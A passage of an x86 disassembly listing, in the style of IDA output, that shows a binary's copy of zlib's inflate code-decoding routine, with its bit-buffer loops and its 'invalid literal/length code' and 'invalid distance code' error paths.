mov edx, [ebp+var_10]
mov [edx], ecx
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A1D9: ; CODE XREF: sub_40A04E+8Cj
; sub_40A04E+96j ...
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+10h]
mov edx, [ebp+var_10]
mov [edx+0Ch], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [ecx+14h]
mov [eax+8], edx
mov eax, [ebp+var_10]
mov dword ptr [eax], 1
loc_40A1FC: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD81o
mov ecx, [ebp+var_10]
mov edx, [ecx+0Ch]
mov [ebp+var_20], edx
loc_40A205: ; CODE XREF: sub_40A04E+25Cj
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_40A2AF
cmp [ebp+var_2C], 0
jz short loc_40A220
mov [ebp+arg_8], 0
jmp short loc_40A27B
; ---------------------------------------------------------------------------
loc_40A220: ; CODE XREF: sub_40A04E+1C7j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40A27B: ; CODE XREF: sub_40A04E+1D0j
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_40A205
; ---------------------------------------------------------------------------
loc_40A2AF: ; CODE XREF: sub_40A04E+1BDj
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4132F8[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
lea edx, [ecx+edx*8]
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_C]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_24]
sub edx, ecx
mov [ebp+var_24], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_18], ecx
cmp [ebp+var_18], 0
jnz short loc_40A312
mov edx, [ebp+var_10]
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [edx+8], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 6
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A312: ; CODE XREF: sub_40A04E+2A8j
mov eax, [ebp+var_18]
and eax, 10h
test eax, eax
jz short loc_40A342
mov ecx, [ebp+var_18]
and ecx, 0Fh
mov edx, [ebp+var_10]
mov [edx+8], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_10]
mov dword ptr [eax], 2
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A342: ; CODE XREF: sub_40A04E+2CCj
mov ecx, [ebp+var_18]
and ecx, 40h
test ecx, ecx
jnz short loc_40A36C
mov edx, [ebp+var_10]
mov eax, [ebp+var_18]
mov [edx+0Ch], eax
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
mov eax, [ebp+var_14]
lea ecx, [eax+edx*8]
mov edx, [ebp+var_10]
mov [edx+8], ecx
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A36C: ; CODE XREF: sub_40A04E+2FCj
mov eax, [ebp+var_18]
and eax, 20h
test eax, eax
jz short loc_40A384
mov ecx, [ebp+var_10]
mov dword ptr [ecx], 7
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A384: ; CODE XREF: sub_40A04E+326j
mov edx, [ebp+var_10]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40A3F9: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD85o
mov ecx, [ebp+var_10]
mov edx, [ecx+8]
mov [ebp+var_20], edx
loc_40A402: ; CODE XREF: sub_40A04E+459j
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_40A4AC
cmp [ebp+var_2C], 0
jz short loc_40A41D
mov [ebp+arg_8], 0
jmp short loc_40A478
; ---------------------------------------------------------------------------
loc_40A41D: ; CODE XREF: sub_40A04E+3C4j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40A478: ; CODE XREF: sub_40A04E+3CDj
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_40A402
; ---------------------------------------------------------------------------
loc_40A4AC: ; CODE XREF: sub_40A04E+3BAj
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4132F8[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+4]
add ecx, edx
mov edx, [ebp+var_10]
mov [edx+4], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_24]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx+11h]
mov ecx, [ebp+var_10]
mov [ecx+0Ch], eax
mov edx, [ebp+var_10]
mov eax, [ebp+var_10]
mov ecx, [eax+18h]
mov [edx+8], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 3
loc_40A4FE: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD89o
mov eax, [ebp+var_10]
mov ecx, [eax+0Ch]
mov [ebp+var_20], ecx
loc_40A507: ; CODE XREF: sub_40A04E+55Ej
mov edx, [ebp+var_24]
cmp edx, [ebp+var_20]
jnb loc_40A5B1
cmp [ebp+var_2C], 0
jz short loc_40A522
mov [ebp+arg_8], 0
jmp short loc_40A57D
; ---------------------------------------------------------------------------
loc_40A522: ; CODE XREF: sub_40A04E+4C9j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40A57D: ; CODE XREF: sub_40A04E+4D2j
mov eax, [ebp+var_2C]
sub eax, 1
mov [ebp+var_2C], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_24]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_24]
add edx, 8
mov [ebp+var_24], edx
jmp loc_40A507
; ---------------------------------------------------------------------------
loc_40A5B1: ; CODE XREF: sub_40A04E+4BFj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_C]
and ecx, dword_4132F8[eax*4]
mov edx, [ebp+var_10]
mov eax, [edx+8]
lea ecx, [eax+ecx*8]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_C]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_24]
sub edx, ecx
mov [ebp+var_24], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
and edx, 10h
test edx, edx
jz short loc_40A626
mov eax, [ebp+var_18]
and eax, 0Fh
mov ecx, [ebp+var_10]
mov [ecx+8], eax
mov edx, [ebp+var_10]
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [edx+0Ch], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 4
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A626: ; CODE XREF: sub_40A04E+5B0j
mov eax, [ebp+var_18]
and eax, 40h
test eax, eax
jnz short loc_40A650
mov ecx, [ebp+var_10]
mov edx, [ebp+var_18]
mov [ecx+0Ch], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
lea eax, [edx+ecx*8]
mov ecx, [ebp+var_10]
mov [ecx+8], eax
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A650: ; CODE XREF: sub_40A04E+5E0j
mov edx, [ebp+var_10]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance code"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40A6C5: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD8Do
mov ecx, [ebp+var_10]
mov edx, [ecx+8]
mov [ebp+var_20], edx
loc_40A6CE: ; CODE XREF: sub_40A04E+725j
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_40A778
cmp [ebp+var_2C], 0
jz short loc_40A6E9
mov [ebp+arg_8], 0
jmp short loc_40A744
; ---------------------------------------------------------------------------
loc_40A6E9: ; CODE XREF: sub_40A04E+690j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40A744: ; CODE XREF: sub_40A04E+699j
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_40A6CE
; ---------------------------------------------------------------------------
loc_40A778: ; CODE XREF: sub_40A04E+686j
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4132F8[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+0Ch]
add ecx, edx
mov edx, [ebp+var_10]
mov [edx+0Ch], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_24]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 5
loc_40A7B0: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD91o
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
sub ecx, [eax+28h]
mov edx, [ebp+var_10]
cmp ecx, [edx+0Ch]
jnb short loc_40A7DF
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
sub ecx, [eax+28h]
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
sub eax, ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, eax
mov [ebp+var_3C], edx
jmp short loc_40A7EB
; ---------------------------------------------------------------------------
loc_40A7DF: ; CODE XREF: sub_40A04E+771j
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
sub ecx, [eax+0Ch]
mov [ebp+var_3C], ecx
loc_40A7EB: ; CODE XREF: sub_40A04E+78Fj
mov edx, [ebp+var_3C]
mov [ebp+var_1C], edx
loc_40A7F1: ; CODE XREF: sub_40A04E+96Bj
mov eax, [ebp+var_10]
cmp dword ptr [eax+4], 0
jz loc_40A9BE
cmp [ebp+var_28], 0
jnz loc_40A96A
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz short loc_40A858
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_40A858
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_40A846
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_40], edx
jmp short loc_40A852
; ---------------------------------------------------------------------------
loc_40A846: ; CODE XREF: sub_40A04E+7E5j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_40], ecx
loc_40A852: ; CODE XREF: sub_40A04E+7F6j
mov edx, [ebp+var_40]
mov [ebp+var_28], edx
loc_40A858: ; CODE XREF: sub_40A04E+7C3j
; sub_40A04E+7D1j
cmp [ebp+var_28], 0
jnz loc_40A96A
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_40A8A7
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_44], ecx
jmp short loc_40A8B3
; ---------------------------------------------------------------------------
loc_40A8A7: ; CODE XREF: sub_40A04E+846j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_44], eax
loc_40A8B3: ; CODE XREF: sub_40A04E+857j
mov ecx, [ebp+var_44]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+2Ch]
jnz short loc_40A909
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+30h]
cmp eax, [edx+28h]
jz short loc_40A909
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_40A8F7
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_48], eax
jmp short loc_40A903
; ---------------------------------------------------------------------------
loc_40A8F7: ; CODE XREF: sub_40A04E+896j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_48], edx
loc_40A903: ; CODE XREF: sub_40A04E+8A7j
mov eax, [ebp+var_48]
mov [ebp+var_28], eax
loc_40A909: ; CODE XREF: sub_40A04E+874j
; sub_40A04E+882j
cmp [ebp+var_28], 0
jnz short loc_40A96A
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40A96A: ; CODE XREF: sub_40A04E+7B4j
; sub_40A04E+80Ej ...
mov [ebp+arg_8], 0
mov ecx, [ebp+var_8]
mov edx, [ebp+var_1C]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_28]
sub eax, 1
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
cmp edx, [ecx+2Ch]
jnz short loc_40A9AA
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_1C], ecx
loc_40A9AA: ; CODE XREF: sub_40A04E+951j
mov edx, [ebp+var_10]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_10]
mov [ecx+4], eax
jmp loc_40A7F1
; ---------------------------------------------------------------------------
loc_40A9BE: ; CODE XREF: sub_40A04E+7AAj
mov edx, [ebp+var_10]
mov dword ptr [edx], 0
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40A9CC: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD95o
cmp [ebp+var_28], 0
jnz loc_40AB38
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+2Ch]
jnz short loc_40AA26
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+30h]
cmp ecx, [eax+28h]
jz short loc_40AA26
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_40AA14
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_4C], ecx
jmp short loc_40AA20
; ---------------------------------------------------------------------------
loc_40AA14: ; CODE XREF: sub_40A04E+9B3j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_4C], eax
loc_40AA20: ; CODE XREF: sub_40A04E+9C4j
mov ecx, [ebp+var_4C]
mov [ebp+var_28], ecx
loc_40AA26: ; CODE XREF: sub_40A04E+991j
; sub_40A04E+99Fj
cmp [ebp+var_28], 0
jnz loc_40AB38
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_40AA75
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_50], eax
jmp short loc_40AA81
; ---------------------------------------------------------------------------
loc_40AA75: ; CODE XREF: sub_40A04E+A14j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_50], edx
loc_40AA81: ; CODE XREF: sub_40A04E+A25j
mov eax, [ebp+var_50]
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz short loc_40AAD7
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_40AAD7
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_40AAC5
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_54], edx
jmp short loc_40AAD1
; ---------------------------------------------------------------------------
loc_40AAC5: ; CODE XREF: sub_40A04E+A64j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_54], ecx
loc_40AAD1: ; CODE XREF: sub_40A04E+A75j
mov edx, [ebp+var_54]
mov [ebp+var_28], edx
loc_40AAD7: ; CODE XREF: sub_40A04E+A42j
; sub_40A04E+A50j
cmp [ebp+var_28], 0
jnz short loc_40AB38
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40AB38: ; CODE XREF: sub_40A04E+982j
; sub_40A04E+9DCj ...
mov [ebp+arg_8], 0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_10]
mov dl, [ecx+8]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_28]
sub ecx, 1
mov [ebp+var_28], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 0
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40AB6A: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD99o
cmp [ebp+var_24], 7
jbe short loc_40AB8B
mov eax, [ebp+var_24]
sub eax, 8
mov [ebp+var_24], eax
mov ecx, [ebp+var_2C]
add ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_40AB8B: ; CODE XREF: sub_40A04E+B20j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_40ABD0
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_58], ecx
jmp short loc_40ABDC
; ---------------------------------------------------------------------------
loc_40ABD0: ; CODE XREF: sub_40A04E+B6Fj
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_58], eax
loc_40ABDC: ; CODE XREF: sub_40A04E+B80j
mov ecx, [ebp+var_58]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+30h]
cmp ecx, [eax+34h]
jz short loc_40AC4B
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40AD79
; ---------------------------------------------------------------------------
loc_40AC4B: ; CODE XREF: sub_40A04E+BA0j
mov edx, [ebp+var_10]
mov dword ptr [edx], 8
loc_40AC54: ; CODE XREF: sub_40A04E+7Ej
; DATA XREF: HSho:0040AD9Do
mov [ebp+arg_8], 1
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
